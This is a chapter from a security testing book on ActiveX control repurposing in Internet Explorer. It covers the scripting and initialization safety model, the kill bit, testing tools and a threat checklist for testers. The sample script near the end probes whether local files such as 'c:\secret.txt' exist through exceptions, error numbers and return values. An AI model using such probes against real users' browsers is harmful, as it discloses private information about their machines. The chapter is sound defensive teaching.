Understanding ActiveX Controls

ActiveX controls are installed on the machine when the user visits Web sites and installs applications (such as Microsoft Windows Media Player). ActiveX controls are like full-blown client applications in that they are executable code running as the current user, just like client applications. ActiveX controls also have to expose certain COM interfaces. As such, ActiveX controls have all of the security issues client applications have, plus repurposing issues.

Creating ActiveX Controls in Internet Explorer

How does HTML use ActiveX controls in Internet Explorer? One way is to use the <object> HTML tag.

More Info  

For more information about the object HTML tag, see http://msdn.microsoft.com/workshop/author/dhtml/reference/objects/object.asp .

Consider the following HTML code:

 <object classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6"> </object> 

The 128-bit value 6BF52A52-394A-11D3-B153-00C04F79FAA6 is referred to as the ClassID , coclass GUID , or CLSID , which serves to uniquely identify the ActiveX control.

Note  

The CLSID is determined by the ActiveX control programmer, who typically uses a special algorithm when creating the CLSID to ensure uniqueness. Malicious Trojan authors might write controls with the same CLSID as popular controls to intercept calls intended for the original controls. One of the original Globally-Unique Identifier (GUID) generation algorithms included information from the user s machine to help ensure uniqueness. This method led to privacy issues. According to http://en.wikipedia.org/wiki/Globally_Unique_Identifier , the ability to tie a GUID to the machine that generated it has aided in tracking down the Melissa worm author.

Figures 18-1 and 18-2 show how the preceding HTML code is displayed in Internet Explorer. Internet Explorer doesn t come with this functionality built in, but rather it loads the Windows Media Player program. Compare Figure 18-1 to Figure 18-2, which shows what happens if an ActiveX control is not installed on the client. Internet Explorer looks for the program with the code for CLSID 6BF52A52-394A-11D3-B153-00C04F79FAA6 and is unable to find it. If you try one of the examples included in this chapter and see something like this, likely your machine does not have the particular referenced ActiveX control installed.

image from book
Figure 18-1: The display when the referenced ActiveX control is installed on the machine
image from book
Figure 18-2: The display when the referenced ActiveX control is not installed on the machine

In addition to using the HTML <object> tag, you can also use Microsoft Visual Basic, Scripting edition (VBScript) or JavaScript to create controls. Use of the <object> tag implies the control will display the control s user interface in the Web page, whereas when a control is created by using script it typically will not display the control in the Web page user interface. Some controls function properly only from script or only when the <object> tag is used, whereas other controls might work well in both cases.

Warning  

Beware! Because there are other ways of loading ActiveX controls besides using the HTML <object> tag, searching for the <object> tag alone will not necessarily allow you to find all of the ActiveX controls used on a particular Web page.

JavaScript code to create the same control looks as follows (this is included as Chapter18.02.html on this book s companion Web site):

 <script language=javascript>     var MediaPlayer = new ActiveXObject("WMPlayer.OCX"); </script> 

When Internet Explorer loads the preceding code, nothing appears. Although nothing appears, Internet Explorer still created the ActiveX control.

Note  

The string WMPlayer.OCX is called the ProgID of the ActiveX control. ProgIDs are strings that identify controls, just as CLSIDs do. In some cases either the ProgID or the CLSID can be used to reference a particular control. ProgIDs do not have to be unique, although duplicating them is a bad idea because they are used to refer to components . Most ProgIDs come in the form Application . Control however, control developers can call the ProgID anything they want to ”the previous example is atypical in that the programmer used the filename as the ProgID. Some examples of ProgIDs include Word.Document and ADODB.Command .

Initializing and Scripting ActiveX Controls

Now that you can make ActiveX controls in the browser, what can you do with them? This section briefly summarizes control PARAMs (parameters), properties, methods , and events:

  • PARAMs     Internet Explorer loads these persistent properties with values specified in the Web page. Each ActiveX control has its own set of parameters. PARAMs can be set with no prompts if the IPersist -derived interface used is marked safe for initialization (SFI). SFI is discussed in greater detail later in this chapter.

  • Properties     Script in a Web page can get or set properties of a control through the IDispatch and IDispatchEx interfaces. Each ActiveX control has its own set of properties. Properties can be accessed with no prompts if the interface used is marked safe for scripting (SFS). SFS is discussed in greater detail later in this chapter.

  • Methods     Script can call methods of a control through IDispatch and IDispatchEx . Each ActiveX control has its own set of methods. The Web page can call methods with no prompts if the interface used is SFS.

  • Events     When certain conditions occur, the browser fires events, running event handler code set aside for the occasion. ActiveX controls can fire their own custom events and can trigger custom event handling as well, again with no prompts for SFS controls.

The following HTML code illustrates custom PARAMs, properties, methods, and events. Can you spot each?

 <object ID=MyObj    classid="clsid:12345678-1234-1234-5678-ABCDEF012345"    width=50 height=50>  <param name="CustomProperty1" value="Attacker's Data">  <param name="CustomProperty2" value="Untrusted Input"> </object> <script>    //Calling Methods    MyObj.MethodName("Parameter1", 7);        //Getting and setting properties    alert(MyObj.Property1);    MyObj.Property2 = "NewPropertyValue"; </script> <script language=vbscript>  'Event Handler  Sub MyObj_EventName(EventParameter1, EventParameter2)     MsgBox "MyObj_EventName fired."     MsgBox EventParameter1     MsgBox EventParameter2  End Sub </script> 

Repurposing ActiveX Controls

ActiveX controls are pretty powerful as a technology. Most developers see them as a way to extend the functionality in the browser to accomplish actions the browser cannot accomplish through HTML alone. With ActiveX controls, developers can have Web pages that install software, present items a certain way, interact with databases, and do useful tasks directly from the client.

There is a catch, however.

To see the catch, take a closer look at how ActiveX controls work. First, the control is installed on the client computer. This part happens when an application is set up or downloaded from the Internet.

Important  

When ActiveX controls are installed during the installation of an application, the user is typically not aware these components are present on the computer. Which ActiveX controls does your product install? Have you identified them all?

Which ActiveX Controls Does Your Application Install?  

One of the first things you need to do is identify which controls your application ships. The most thorough way to do this is to look at what CLSIDs are registered on the machine after installing your application that were not there before installing it. Not all CLSIDs will actually map to interesting controls, but many probably will.

  1. Take a new computer, or one where the Operating System is freshly installed, without your product (or any previous version) having ever been installed.

  2. Install any prerequisites for your product. For example, if the .NET Framework is required, install that.

  1. Just prior to installing your product, save a copy of all of the COM components registered on the machine. You can do this with the following command, which creates a list of CLSIDs installed on the machine.

      C:\>reg query HKCR\CLSIDfindstr "CLSID" > Before.txt  
  2. Fully install your product. Make sure to do a complete installation, including every optional component. If there are components you test that are not installed as part of the main installation, run separate setups. For example, if some controls are only available as downloadable packages from a website, then visit the website and download the controls and install them too.

  3. After installing your product, save another copy of all of the COM components registered on the machine. This time use a different filename so you can compare what is registered after setup to the list in step 3 prior to setup.

      C:\>reg query HKCR\CLSIDfindstr "CLSID" > After.txt  
  4. Using the diffutility of your choice, look at the differences. CLSIDs present in After.txt that are not present in Before.txt are COM components you need to examine. Here is one example of how to tell what is installed. C:\>fc /C Before.txt After.txt

  5. Gather more information about each CLSID. One way to do this is by inspecting the registry information. Note that the example shows {11111111-1111-1111-1111-111111111111}, but you should substitute in each CLSID in your product. C:\>reg query HKCR\CLSID\{11111111-1111-1111-1111-111111111111} /S Another approach is to use the ActiveX Safety Detailer (covered later in this chapter) for each CLSID.

Once a control marked SFS or SFI is installed, the developer can include special commands in the HTML of a Web page on the Internet that trigger the control to initialize with specific data and/or perform specific scripted actions, as specified in the HTML, with no warnings or prompts to the user. How does this work? First, the client machine browses to the developer s Web page:

image from book

The HTML written by the developer is then returned to the client:

image from book

When the client machine processes the HTML, the browser initializes the control and performs the actions specified in the HTML on the client computer. This HTML might look something like what follows:

 <script>     MyObject.DoSomething(Fantastic); </script> 

When the programmer does great things, it makes customers happy:

image from book

Similarly, if someone other than the developer wants to, he or she can write HTML tags and script to manipulate the same ActiveX control to take specific actions when it is displayed by the browser on the client machine ”again with no warning. This starts when the happy customer browses to another Web site:

image from book

The preceding graphic shows the malicious server with a big red X, but the customer isn t aware anything is wrong yet. That Web site returns HTML that uses the ActiveX control:

image from book

When the user s computer processes that HTML, it causes the ActiveX control to do something malicious.

 <script>    MyObject.DoSomething(Malicious); </script> 
image from book

The benefits for attackers in such situations are that users often aren t even aware what their computers have been up to, firewalls usually will not stop this attack, and ActiveX controls typically are powerful.

This attack is called an ActiveX control repurposing attack, when code intended for one purpose could be directly called by malicious interests to perform tasks unintended by the original programmer because of the control s design or implementation.

Using ActiveX SiteLock

The first impulse many people have when learning about ActiveX control repurposing bugs is to try to write some code to restrict which domain the control can be hosted in, but it s easy to implement this incorrectly. Microsoft provides a C++ template known as SiteLock you can use at http://msdn.microsoft.com/archive/en-us/samples/internet/components/sitelock/default.asp . Just because a control uses some method of restricting which sites can load it doesn t mean an attacker can t repurpose the control. For example, if the control loads only in a domain that has a cross-site scripting bug, attackers can use the cross-site scripting bug to script the control and bypass the site-locking mechanism. For more information about cross-site scripting, see Chapter 10, HTML Scripting Attacks.

Your ActiveX controls should never rely on site locking mechanisms for security. Site locking is a layer of defense but assume from a testing perspective that it will be broken. If your control implements site locking, you should test that the implementation is robust against canonicalization and naming attacks, such as http://secunia.com/advisories/19521/ (see Chapter 12, Canonicalization Issues for more information about how to test for these types of issues).

Site-locked controls still need to be tested for repurposing issues. One way to test these controls is to create appropriate domain entries in the %windir%\ system32\drivers\etc\ hosts file on your client test machine. Other ways include patching the binary or creating special test-only builds that always return S_OK when IObjectSafety::SetInterfaceSafetyOptions is called (be very careful you don t accidentally ship this way).

ActiveX Repurposing: Causes

Here are some common causes of ActiveX code repurposing bugs. These are common bad practices:

  • COM interfaces not intended for use from the Internet were marked as safe accidentally ”so Internet Explorer assumes they are safe when they in fact are not. One source of problems occurs when the programmer uses a wizard to generate the control or inherits from another set of interfaces without being aware of whether or not the control is marked safe.

  • Controls are marked as safe to eliminate the security prompt, but the control really is not safe.

  • Members (methods, properties, events) are added without due consideration or security review.

  • The ActiveX control creators are not aware that the members in the control can be called by any HTML on the Internet.

Important  

One of the most common causes of ActiveX code repurposing is when the programmer/tester isn t aware how COM and ActiveX technologies really work and the associated risks to which they are exposing their customers by choosing to use these technologies without careful security testing and code review.

Tip  

Try it! Find a Web page that uses a control you have installed on your machine, and see how the developers scripted the control. Try writing your own script and changing the inputs to see whether you can get the control to behave differently.

Understanding the ActiveX Control Security Model

Now that you understand the basics of how ActiveX controls work and some of the associated problems, you re ready to understand how Internet Explorer loads ActiveX controls and how the ActiveX security model works.

There are four main components to the security model for ActiveX controls:

  • Installation     Installation takes place when the control is copied to the machine and registry entries are created that alert COM to the control s presence.

  • Instantiation     Instantiation involves using the registry entries in a systematic approach to locate the binary, copy it into memory, and call a few routine functions in the control.

  • Initialization     Initialization means taking information from an untrusted source and handing it off to the control to establish a predefined initial state within the control.

  • Scripting     Scripting means using untrusted script code to manipulate the control via the control s IDispatchEx or IDispatch interface pointers. This manipulation can involve invoking methods, getting and setting property values, and handling events.

Installation

One way for attackers to trigger a remote ActiveX control to be installed from their server is by using the optional codebase attribute on the < object > HTML tag. Accordingly, Internet Explorer has security around installing controls that involves a digital signature check. (Note that once the control is installed, the digital signature is never checked again before further use.) The browser can t fix the problem once the machine is compromised by a truly malicious Trojan ActiveX control. Because controls authored with nonmalicious intent from trusted sources can be repurposed as a separate attack, additional layers of security are built into Internet Explorer to allow legitimate developers to specify what level of security Internet Explorer should assume about their control.

Important  

Once the programmer digitally signs buggy controls and distributes them, the programmer cannot necessarily patch the controls without revoking the certificate used to sign them ”attackers can redistribute the buggy signed controls, and Internet Explorer will silently and automatically install them (configurable setting) to whomever trusts the digital certificate the original trusted publisher of the software used to sign the controls. After all, by digitally signing these components and distributing them the programmer implicitly thought the components were secure enough to be installed on the customer s machine. If individual DLLs or OLE custom controls (OCXs), are signed, those can be referenced apart from their installer by attackers. Be very careful you do not digitally sign and distribute buggy beta or prerelease versions it is a fantastic ounce of prevention to include an expiration for all prerelease controls so they are completely nonfunctional after a certain date to mitigate unforeseen future security issues.

Installation of other applications also places ActiveX controls on the system. Because controls ship with the operating system, Internet Explorer, and other commercial software, Internet Explorer needs a way to let users further restrict what those controls can do. This is detailed in the next few sections.

Instantiation (Instance Creation)

When a control is instantiated via the < object > HTML tag, Internet Explorer loads the control s program files and runs the code in them to actually create a separate copy of the control in memory. Much documentation uses vague terms such as load , run , or create , but these vague terms typically fail to distinguish the act of instantiating the control from the act of initializing the control by sending data and parameters to the control (which is covered in the next section because it happens after instantiation is finished). The distinction is critical for security.

As discussed in the previous section, when Internet Explorer encounters an < object > HTML tag, it first checks to see whether the control referenced is installed. Once Internet Explorer has the correct version of the control, it then creates the object with IUnknown . Note that objects created through script are created with IDispatch or IDispatchEx .

Even COM objects not intended for use in Internet Explorer are instantiated in this way. This applies to all COM objects because Internet Explorer uses IUnknown , which is universally supported by all COM objects. All COM interfaces derive from IUnknown and supporting IUnknown is a fundamental COM requirement.

ActiveX Kill Bit  

Internet Explorer supports the use of a setting (called the kill bit ) to disable specific known-bad CLSIDs from being instantiated. This bit is 0x400 in the ActiveX compatibility flags. For more information, see http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q240797 . There is a related setting that allows for CLSID forwarding called the AlternateCLSID setting. This setting is made in the same registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{CLSID} . A REG_SZ value AlternateCLSID is created with the new CLSID. If an ActiveX control contains a security bug, the kill bit should be set. The fixed version of the control should have a new CLSID and the alternative CLSID should point from the old CLSID to the new one. The alternative CLSID helps prevent breaking code because Internet Explorer instantiates the fixed ActiveX control when referenced by the old CLSID.

From the browser s point of view, legitimate COM controls should not do anything dangerous when they are instantiated. Such a control could have just as easily caused problems when it was first installed. Installation and instantiation might appear to be the same equivalence class from a security testing perspective, but actually there are cases in which buggy controls, when called from any calling application, cause problems. Although most controls are safe when instantiated, some crash. Crashes can cause data loss, but some crashes are even more serious, as in the case of javaproxy.dll, which unloaded prematurely, allowing still-existing object pointers to call into freed heap memory. Attackers who aggressively filled the heap with their data could then get their code to run. To catch this kind of bug, do a thorough code review of the DllCanUnloadNow function and make sure the object reference counts function properly. See http://www.sec- consult .com/184.html and http://www.microsoft.com/technet/security/advisory/903144.mspx for more information.

When the attacker can begin to manipulate controls with content specified in the document, things become even more interesting and repurposing becomes an issue. Internet Explorer has security around that as well.

Initialization

Once the control is instantiated and there is a place for it in memory, the next task is to initialize the control. Initialization refers to setting the initial, nondefault state of the control s properties. Some of this state is fairly well-defined : height , width . Some is custom ”for example: Folder , DataSource . The Web page has the opportunity to feed in the values used during the control s initialization. This is accomplished by persistent properties.

Persistent properties are specified by the < param > tags or the data attribute on the < object > tag when the control is loaded the first time, meaning you can take advantage of these persistent properties by repurposing them!

Control initialization happens through IPersist* interfaces. When multiple IPersist interfaces are present in the control, the data attribute of the < object > tag maps to IPersistStreamInit , IPersistStorage , IPersistFile , IPersistStream , and perhaps others (such as IPersistMoniker ). The < param > tag maps to IPersistPropertyBag , IPersistPropertyBag2 , and perhaps others. Internet Explorer prefers IPersistPropertyBag2 to IPersistPropertyBag if a control implements both.

Needless to say, there is a setting in Internet Explorer that governs whether to initialize the control with untrusted data or whether to initialize the control with default values.

Steps to determining initialization safety  

Microsoft Knowledge Base article 216434, Info: How Internet Explorer Determines If ActiveX Controls Are Safe ( http://support.microsoft.com/kb/216434 ) provides the details of how Internet Explorer determines the safety of a CLSID. Internet Explorer seems to use the following algorithm to determine whether the control is marked as being safe to be initialized with untrusted data:

  1. Check the unsafe bit (like the kill bit but 0x2 instead of 0x400). If set, the control is unsafe.

  2. If IObjectSafety is implemented, call IObjectSafety::SetInterfaceOptions for the particular IPersist* interface being used to set the safe mode bit on for that interface. If the control responds S_OK , Internet Explorer thinks it is safe; otherwise , Internet Explorer thinks it is not safe.

  3. Check the component categorization registry key to see whether the control is categorized as safe for initialization. If the following GUID is present, the control is safe.

     HKEY_CLASSES_ROOT  \CLSID   \{clsid}    \Implemented Categories     \{7DD95802-9882-11CF-9FA9-00AA006C42C4} 

Aside from those identified in steps 2 and 3, all COM co-classes are assumed to be unsafe for initialization with arbitrary data.

Because IObjectSafety returns safe or unsafe based on arbitrary factors of the control programmer s choice as implemented in the control s IObjectSafety code when the control is run, and implementing IObjectSafety typically consumes development resources, it is reasonable to assume that if a control supports IObjectSafety , the control is safe under certain conditions and therefore the control should be tested as though it were marked as safe for scripting and safe for initialization unless further analysis demonstrates conclusively that the control is never safe for both GetInterfaceSafetyOptions and SetInterfaceSafetyOptions for all supported interfaces of concern.

In addition to sending data to a control, because Internet Explorer can allow script in the HTML to manipulate the control directly as well, there is additional security around scripting the control.

Scripting

Internet Explorer does not provide script support. It delegates that operation to a separate scripting engine. Internet Explorer and the script engine have settings to govern whether to let the script engine reference each control.

The active scripting setting is a switch that disables or enables all scripting in HTML in Internet Explorer. By extension, if script is disabled through the active scripting security setting, ActiveX controls are not scripted in Internet Explorer. (Note that some controls might be able to bypass this setting because they support running custom script or navigating to javascript: protocol handlers on control initialization.)

Once Internet Explorer tells the script engine about the control (hands it an IDispatch pointer), the script talks directly to the control and it is too late for Internet Explorer to stop future actions the script might do with the control.

Steps to determining scripting safety  

The scripting security decision is an all-or-nothing upfront algorithm that boils down to the following steps:

  1. Load the control and call into it to see if IObjectSafety is implemented. If so, call IObjectSafety::SetInterfaceOptions for the IDispatch and/or IDispatchEx interface to turn the safe mode bit on for that interface. If the control responds S_OK , Internet Explorer thinks it is safe for scripting. Otherwise, Internet Explorer thinks it is not safe.

  2. Check the component categorization registry key to see whether the control is categorized as safe for scripting. If the following GUID is present, the control is safe.

     HKEY_CLASSES_ROOT  \CLSID   \{clsid}    \Implemented Categories     \{7DD95801-9882-11CF-9FA9-00AA006C42C4} 

Aside from those identified in steps 1 and 2, all other COM co-classes are not safe for scripting.

Once the scripting engine knows about the control, the malicious script from the Web page can directly call methods, get and set properties, and access events in any order with any parameters, any number of times with no additional security checks of any kind done by Internet Explorer.

Is your control considered safe?  

Using the ActiveX Safety Detailer Tool

Perhaps more than any other question, people wonder whether a particular control appears interesting to investigate; is it safe or not? Included here is a description and outline of a process you can use to determine control safety, which is a significant factor in determining the amount of resources to spend testing the control for repurposing attacks.

The ActiveX Safety Detailer, available exclusively on this book s companion Web site, tells you which interfaces your control implements. See the following for an example of usage. All controls that implement IObjectSafety or the SFI/SFS component categorization registry key should be considered safe. In the following example, the control is marked safe in the registry:

 C:\>AXDetail.exe {2D360201-FFF5-11d1-8D03-00A0C959BC0A} ActiveX Safety Detailer Version 1.0. Copyright (c) 2006 Microsoft Corporation. All Rights Reserved. CLSID: {2D360201-FFF5-11d1-8D03-00A0C959BC0A} Module: C:\Program Files\Common Files\Microsoft Shared\Triedit\dhtmled.ocx IObjectSafety call returned E_NOINTERFACE. Actually Calling interfaces to see what is available. IPersistPropertyBag is implemented. IPersistPropertyBag2 returns E_NOINTERFACE. IPersistStorage is implemented. IPersistStream returns E_NOINTERFACE. IPersistStreamInit is implemented. IPersistMemory returns E_NOINTERFACE. IPersistFile returns E_NOINTERFACE. IPersistMoniker returns E_NOINTERFACE. IDispatchEx returns E_NOINTERFACE. IDispatch is implemented. Registry SFS/SFI Component Categorization Analysis: Component is marked SFI in registry. Component is marked SFS in registry. ActiveX Compatibility Flags Analysis: There are no ActiveX Compatibility flags set. 

E_NOINTERFACE means the control claims the interface is not implemented. Note that in some cases the interface that returns E_NOINTERFACE might still be implemented for some cases. Examples of when this might occur would be if a device is present, the machine is in a certain state, and so forth.

Suppose you were responsible for this control. The control does not implement the IObjectSafety interface, but because it is marked SFI and SFS in the registry, it needs to be tested for repurposing. The control implements IDispatch, so HTML can script this control. Several IPersist * interfaces indicate various persistent properties should be tested as well. Because there are no ActiveX compatibility flags set,you know this control does not have the kill bit set on it.

Using the ActiveX Control Testing Methodology

Now that you know which controls need to be tested, how can you test for repurposing attacks in ActiveX controls? The following sections and the walkthrough explain how to accomplish this using the following approach:

  1. Identify all of the members (methods, properties, events, and persistent properties) that the control supports. For each one, follow steps 2 through 5.

  2. Figure out how the control works for the given method, property, event, or PARAM.

  3. Prioritize by assessing the likely security issues though member-level threat modeling and analysis of the functionality each member provides.

  4. Try to repurpose each member.

  5. Identify the code servicing the request and trace the input, doing targeted code review.

  6. Try using the various known tricks (see the section below Additional Testing Tips and Techniques ).

Before enumerating all of the methods, properties, events, and persistent properties, remember to prioritize testing those controls that are marked safe because those controls are the ones that can most easily be repurposed. (Although it would be nice if all code was secure, and COM objects certainly have other security issues beyond ActiveX repurposing attacks.)

Discovering How the Control Works

Before you can properly and adequately construct security test cases, you need to know how the control works. Learning a little bit about what members a control supports is a step in the right direction, but it doesn t really tell you everything you need to know. How can you get the information you really need?

A lot of resources are available to help you figure out how a control and its members work, as follows:

  • Experimenting with it     Sometimes it is fairly straightforward to figure out how a control works just by looking at the members and the parameters and playing with it a bit by trying HTML in the browser.

  • Tools     The next section covers a few useful tools in greater detail. Some tools give more information than you might think ”for example, using tools like FileMon and Network Monitor in combination with the Load member makes a lot of sense. For more information about these tools, see Appendix A, Tools of the Trade.

  • Bug reports     Bug reports and support articles about the member often contain sample code or descriptions of how the members work.

  • Software development kit or Help     Sometimes there is useful information in documentation that provides details on how the control or various members work.

  • Specifications     Sometimes the specification can provide information on how controls or members work.

  • Web pages     Often product UI or Web pages use the control. Viewing the HTML source is your friend. Look at what these pages do and how they use the control for clues.

  • Test cases     Existing test cases that cover testing the control or related functionality can prove useful.

  • Programmers     It is totally reasonable to sit down and socially engineer (ask) the programmer to go over how the control works ”you need to test it, and to test it you need to know how it works.

  • Looking at the source code     Ultimately, if you can t figure out how it works or need more details, consult the source code.

  • Internet     Don t forget to plug the CLSID into your favorite Web search engine ”take advantage of its uniqueness. If the control is being used externally, the Internet can contain useful information about how the control works.

  • Reverse engineering     If you don t have the source code for a control, the problem of figuring out how the control works is well within your grasp.

Tip  

Attackers are like investigative reporters. They are very observant and will try to use everything the control does to their advantage. You should, too.

Tools of Interest

Once you have determined a particular control is safe for scripting (and/or safe for initialization) and therefore warrants more attention, look at all of the members on a case-by-case basis to determine more granular test cases of interest. This section outlines using a variety of tools and ways of determining which members a control supports.

Important  

Looking at the product specification and documentation might prove useful in test case generation, although these sources are not authoritative . You wouldn t think the spelling checker necessarily works in a given build just because the specification says it should, the Help file agrees, and it has worked in the past. You ve got to try it out before you know for sure. Security testing is no different from other testing in this regard.

Using tools can enhance the testing experience and teach you a lot about the control, but there is no substitute for testing each control by creating HTML and loading it in the Web browser ”other environments (such as inserting the control in a C# app) might make some aspects easier, but often data marshalling and other environmental differences vary considerably. In short, you re not really testing the control s actual behavior until it is loading in the target environment the way an attacker would load it.

Tool: Object Browser     Object Browser, shown in Figure 18-3, ships with Microsoft Visual Basic, Visual Basic for Applications (Microsoft Office), and Visual Studio. Object Browser shows you quite a bit of information about objects, such as information a control publishes about itself.

image from book
Figure 18-3: Object Browser, shown here with the DHTML Edit Control loaded

Object Browser s strong points are as follows:

  • Easy to get at objects that are referenced by other objects

  • Good, understandable presentation of prototypes

Its main weak points are these:

  • Members with the hidden attribute set are not necessarily displayed by default. Members with this attribute set are callable, so they need to be tested.

  • Unclear from the presentation which COM objects are controls.

  • No direct interoperability with the objects.

  • Does not handle PARAMs.

Tool: OLEView     OLEView, shown in Figure 18-4, ships with Visual Studio. It is also available as a sample application with source from http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vcsample/html/_sample_mfc_oleview.asp . OLEView provides a lot of information about COM classes and can be useful in finding out more about the ActiveX controls you are testing. OLEView also comes with a TypeLib viewer (ITypeLib Viewer), as shown in Figure 18-5. Compare the level of information given by the OLEView TypeLib viewer with Object Browser (shown in Figure 18-3).

image from book
Figure 18-4: OLEView
image from book
Figure 18-5: TypeLib viewer in OLEView

OLEView s strong points are as follows:

  • Most thorough at giving all of the attributes of calls.

  • Easy to get the CLSID on the Clipboard.

  • Source code available.

  • OLEView tells you which interfaces an object supports.

The main caveats for OLEView are these:

  • Most of the info in OLEView can be obtained from looking at the IDL/ODL (Interface/ Object Definition Language) file in the source. The IDL file contains the member names and parameters and types.

  • Falsely makes the assumption that only interfaces marked as controls are controls.

  • No direct interoperability with the objects.

  • Slow, often hangs , or is unable to get information (not all COM server programmers write code that works acceptably in arbitrary COM applications like OLEView).

  • Does not handle PARAMs.

Tool: ActiveX Control Test Container     The ActiveX Control Test Container, shown in Figures 18-6 and 18-7, is available at http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vcsample/html/vcsmpTSTCONActiveXControlTestContainer.asp . ActiveX Control Test Container tool is shown in Figure 18-6 with a Forms.CommandButton control loaded. Notice the control s events appear in the lower section of the application. In Figure 18-7, the Property Bag dialog box in ActiveX Control Test Container shows persistent properties the control supports. To open this dialog box click the Control menu, and then click Save To Property Bag.

image from book
Figure 18-6: A Forms.CommandButton control loaded in the ActiveX Control Test Container tool
image from book
Figure 18-7: Property Bag dialog box in ActiveX Control Test Container

ActiveX Control Test Container s strong points are as follows:

  • Source code is available.

  • Can show which persistent properties ( Stream , Storage , and PropertyBag ) the control supports.

  • Lets you invoke methods and get and set properties, as well as see when events occur.

Its weak points are these:

  • The tool works differently from how Internet Explorer works and should not be substituted for testing using Internet Explorer.

  • Unclear from the tool which interfaces and methods are supported.

Tool: COMRaider     COMRaider, available from http://labs.idefense.com/labs-software.php?show=20 , while designed for fuzz testing ActiveX controls, provides a full range of features to help you identify and test ActiveX controls for security bugs.

One of the tool s biggest strengths is that it helps you test the control in the actual Web browser. Here is a brief summary of some of the features offered in the current version:

  • Good at easily helping you find ActiveX controls that are considered safe by Internet Explorer. All you have to do is point it at a directory and it will automatically find the controls.

  • Displays type information.

  • Automation and fuzzing libraries to help you automate the testing.

  • Generates some types of javascript test cases for you.

  • Integrated debugging to get more information when your control crashes, and you can rerun the test to reproduce the bug.

Member-Level Threat Modeling

Once you have identified each of the members in the control and how the member works, walk through each member and think about the risk. Certainly, any information from the overall threat model for the control would be useful here as well, but in practice few threat models dig as deeply as necessary to cover each member. For more information, see Chapter 2, Using Threat Models for Security Testing.

To think about the risk, think about the actions an Internet server should not be able to do on any client machine. Think about all the cool things attackers can do to trusting users. Following is a prioritized list that can give you some idea of the types of actions controls often attempt to do but should not really be doing. Use this list in combination with what you know about the control and during code review to make HTML and script to try to repurpose each member to do something malicious.

Tip  

Keep this list handy as you look for bugs. Use this page to help push to get bugs fixed. The most useful way to review the members of your control for interesting items is to actually understand what each member does and assess the damage potential, using this list as a starting point.

  1. Control should not make damaging system calls or allow arbitrary code to be run:

    • Causing buffer overflows or taking advantage of format string vulnerabilities

    • Launching an executable

    • Installing software

    • Modifying the registry (in a scriptable way)

    • Rebooting the machine

    • Starting a service that gives access to the machine remotely

  1. Control should not modify or destroy information on the computer or bypass security settings:

    • Creating, editing, deleting files in a destructive way (even writing text can be bad if the attacker can specify where the file is created and inject batch file commands or can fill up the drive with junk)

    • Changing file or registry key permissions

    • Writing to an already-open connection of some sort (Dynamic Data Exchange (DDE), COM, Winsock, etc.)

    • Bypassing browser security settings.

  1. Control should not allow access to information about the computer/user:

    • Revealing whether or not a file exists

    • Revealing which software is installed

    • Disclosing a particular user s actions or habits

    • Revealing a password or hash

    • Using the client credentials without warning at a different Web site

    • Revealing the computer s name

    • Revealing the local IP address

    • More suggestions which may apply can be found at http://www.microsoft.com/security/glossary.mspx#personally_identifiable_information

  1. Control should not give away any other inappropriate information (see Chapter 7, Information Disclosure for more information about how to test for information disclosure):

    • Revealing contents of files/documents

    • Revealing Clipboard data

    • Disclosing information from another browser window, domain, frame, document, external application, and the like

  1. Control should not be able to be used in a deceptive manner:

    • Repurposing of the control by a malicious site; the user is fooled by the familiar UI of the control and does not realize the site is bad (example might be Microsoft Passport or mail server logon)

    • Exposing interfaces that directly instantiate or call other unsafe controls or interfaces not otherwise accessible to script

    • Failing to warn users before taking certain kinds of action

    • Warning users but not acting consistently with the warning (saying one thing, but doing something else)

  1. Control should not use excessive resources locally:

    • Using up disk space/memory

    • Maxing out the processor (CPU)

    • Creating a lot of threads, handles, windows, and so forth

    • Failing to free resources and so forth on control uninitialization

  1. Control should not generate a fault that crashes or hangs the browser or operating system:

    • Not handling malformed data as input

    • Not handling exceptions

Additional Testing Tricks and Techniques

Attackers use a lot of interesting tricks and techniques to exploit ActiveX controls that you can use when testing. Some of these techniques present special cases worth discussing because they should be tested separately:

  • Exception handlers

  • Return values

  • Nested objects

  • Browser Helper Objects (BHOs)

  • Server redirection

  • Bypassing browser security settings

  • Namespaces and behaviors

Exception Handlers: Using try-catch

In general, ActiveX controls should not disclose information about which files exist on the local hard disk, but often the errors that ActiveX controls return to Internet Explorer give this useful information to an attacker. To retrieve these exceptions in JavaScript, add a try - catch block around test code that calls the method or property that throws the error. Primarily, these bugs exist in methods and properties with names like Load , Open , or *File . Basically, test anything that tries to load or open a file.

Following is a simple example of how to construct this test case, but it is not necessarily complete. In this example, the ConfigLocation property that exists on the ActiveX control is set to a file for which the attacker wants to verify its existence. If the file successfully loads, the code will not enter the catch section; if the file does not load, it does enter that section.

 <OBJECT id="AX" classid=CLSID:12345678-1234-1234-1234-123456789ABC> <script> try { AX.ConfigLocation = "c:\secret.txt"; alert("File exists!"); } catch (oException) { alert("File does not exist"); } </script> 

Just because the code went into the catch section because the control threw an exception does not necessarily mean that the file does not exist. Potentially, a number of things could fail on load (an example is a cross-domain warning was cancelled) that could also cause an error.Attackers can probe the details of the error, however, if the control provides those details.

When the code hits the catch block, different errors are represented by different numbers . In this particular example, here is how the ConfigLocation property works:

  1. It takes the value of the filename.

  2. It first checks to see whether the extension is .xml or .txt.

  3. It then checks for the file s existence.

  4. Finally, it checks to see if it s a valid XML file.

Errors can occur in at least three different places here, and because of this, the different error numbers returned give attackers key information.

To work through this, attackers can add logic to their catch statement that will look for a specific exception number to occur, like so:

 <OBJECT id="AX" classid=CLSID:12345678-1234-1234-1234-123456789ABC> <script> try {      AX.ConfigLocation = "c:\secret.txt";      alert("File exists!"); } catch (oException) { //This is the number we identified to mean that the file does not exist.      if (oException.number == "2476697211") {           alert("File does not exist");      }      else {           alert("File exists!");      } } </script> 
Tip  

Typically, if the exception numbers for different error cases are the same, the description (or message) property of the exception will also be the same. But this is not always the case depending on where in the code the description is set.

Return Values

The programmer might have done a good job and made sure that the exceptions that can be caught are indistinguishable when a file exists or when a file doesn t exist, but there are still other ways of finding out if the file really exists or not. Does the *Load method return anything?

Consider the following code, for example, which calls a method OpenFile . Suppose that after trying the try-catch method and a couple other cases, everything seems fine.

 <script> OpenFile("c:\secret.txt"); </script> 

Digging a little deeper, you learn that the return value of the OpenFile method is a Boolean value. That s interesting. What happens when an attacker tries to exploit it?

